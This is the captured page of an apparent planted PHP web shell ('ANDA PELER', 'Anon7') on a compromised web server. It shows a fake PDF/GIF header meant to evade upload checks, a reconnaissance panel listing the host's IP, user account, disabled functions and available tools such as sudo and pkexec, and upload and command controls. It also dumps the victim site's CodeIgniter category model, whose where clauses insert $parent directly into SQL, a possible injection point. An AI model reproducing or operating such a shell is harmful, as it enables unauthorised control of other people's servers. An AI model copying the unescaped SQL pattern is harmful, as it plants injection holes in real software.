%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.242
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/public_html/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/public_html/application/models/category_model.php
<?php
Class Category_model extends CI_Model
{

	function get_categories($parent = false)
	{
		if ($parent !== false)
		{
			$this->db->where("parent_id = $parent");
		}
		$this->db->select('id');
		$this->db->order_by('categories.sequence', 'ASC');
		
		//this will alphabetize them if there is no sequence
		//$this->db->order_by('name', 'ASC');
		$result	= $this->db->get('categories');
		
		$categories	= array();
		foreach($result->result() as $cat)
		{
			$categories[]	= $this->get_category($cat->id);
		}
		
		return $categories;
	}
	
	//this is for building a menu
	function get_categories_tierd($parent=0)
	{
		$categories	= array();
		$result	= $this->get_categories($parent);
		foreach ($result as $category)
		{
			$categories[$category->id]['category']	= $category;
			$categories[$category->id]['children']	= $this->get_categories_tierd($category->id);
		}
		return $categories;
	}
	
	function get_category($id)
	{
		return $this->db->get_where('categories', array('id'=>$id))->row();
	}
	
	function get_category_products_admin($id)
	{
		$this->db->order_by('sequence', 'ASC');
		$result	= $this->db->get_where('category_products', array('category_id'=>$id));
		$result	= $result->result();
		
		$contents	= array();
		foreach ($result as $product)
		{
			$result2	= $this->db->get_where('products', array('id'=>$product->product_id));
			$result2	= $result2->row();
			
			$contents[]	= $result2;	
		}
		
		return $contents;
	}
	
	function get_category_products($id, $limit, $offset)
	{
		$this->db->order_by('sequence', 'ASC');
		$result	= $this->db->get_where('category_products', array('category_id'=>$id), $limit, $offset);
		$result	= $result->result();
		
		$contents	= array();
		$count		= 1;
		foreach ($result as $product)
		{
			$result2	= $this->db->get_where('products', array('id'=>$product->product_id));
			$result2	= $result2->row();
			
			$contents[$count]	= $result2;
			$count++;
		}
		
		return $contents;
	}
	
	function organize_contents($id, $products)
	{
		//first clear out the contents of the category
		$this->db->where('category_id', $id);
		$this->db->delete('category_products');
		
		//now loop through the products we have and add them in
		$sequence = 0;
		foreach ($products as $product)
		{
			$this->db->insert('category_products', array('category_id'=>$id, 'product_id'=>$product, 'sequence'=>$sequence));
			$sequence++;
		}
	}
	
	function save($category)
	{
		if ($category['id'])
		{
			$this->db->where('id', $category['id']);
			$this->db->update('categories', $category);
			
			return $category['id'];
		}
		else
		{
			$this->db->insert('categories', $category);
			return $this->db->insert_id();
		}
	}
	
	function delete($id)
	{
		$this->db->where('id', $id);
		$this->db->delete('categories');
		
		//delete references to this category in the product to category table
		$this->db->where('category_id', $id);
		$this->db->delete('category_products');
	}


	function get_child_categories($parent = false)
	{
		if ($parent !== false)
		{
			$this->db->where("parent_id != $parent");
		}
		$this->db->select('id');
		$this->db->order_by('categories.sequence', 'ASC');
		
		//this will alphabetize them if there is no sequence
		//$this->db->order_by('name', 'ASC');
		$result	= $this->db->get('categories');
		
		$categories	= array();
		foreach($result->result() as $cat)
		{
			$categories[]	= $this->get_category($cat->id);
		}
		
		return $categories;
	}

	//this is for building a menu
	function get_child_categories_tierd($parent=0)
	{
		$categories	= array();
		$result	= $this->get_child_categories($parent);
		foreach ($result as $category)
		{
			$categories[$category->id]['category']	= $category;
			$categories[$category->id]['children']	= $this->get_categories_tierd($category->id);
		}
		return $categories;
	}


	function get_category_parent_id($parent_id = null) {
        if ($parent_id !== null) {
            // Exclude or filter categories by specific condition
            $this->db->where('parent_id =', $parent_id); // For example, excluding a specific category
        }

        $this->db->order_by('parent_id', 'ASC');
        $query = $this->db->get('categories');
        return $query->result_array();
    }

	// Fetch all categories with optional filtering by category_id
    function get_all_categories($category_id = null) {
        if ($category_id !== null) {
            // Exclude or filter categories by specific condition
            $this->db->where('id !=', $category_id); // For example, excluding a specific category
        }

        $this->db->order_by('parent_id', 'ASC');
        $query = $this->db->get('categories');
        return $query->result_array();
    }

    // Function to build category tree
    function build_category_tree($parent_id = 0, $categories = [], $level = 0) {
    $branch = [];

    foreach ($categories as $category) {
        if ($category['parent_id'] == $parent_id) { // Change -> to []
            $children = $this->build_category_tree($category['id'], $categories, $level + 1);
            
            if ($children) {
                $category['children'] = $children; // Make sure to use array notation
            }

            $branch[] = $category;
        }
    }
    return $branch;
}
}

Anon7 - 2022
SCDN GOK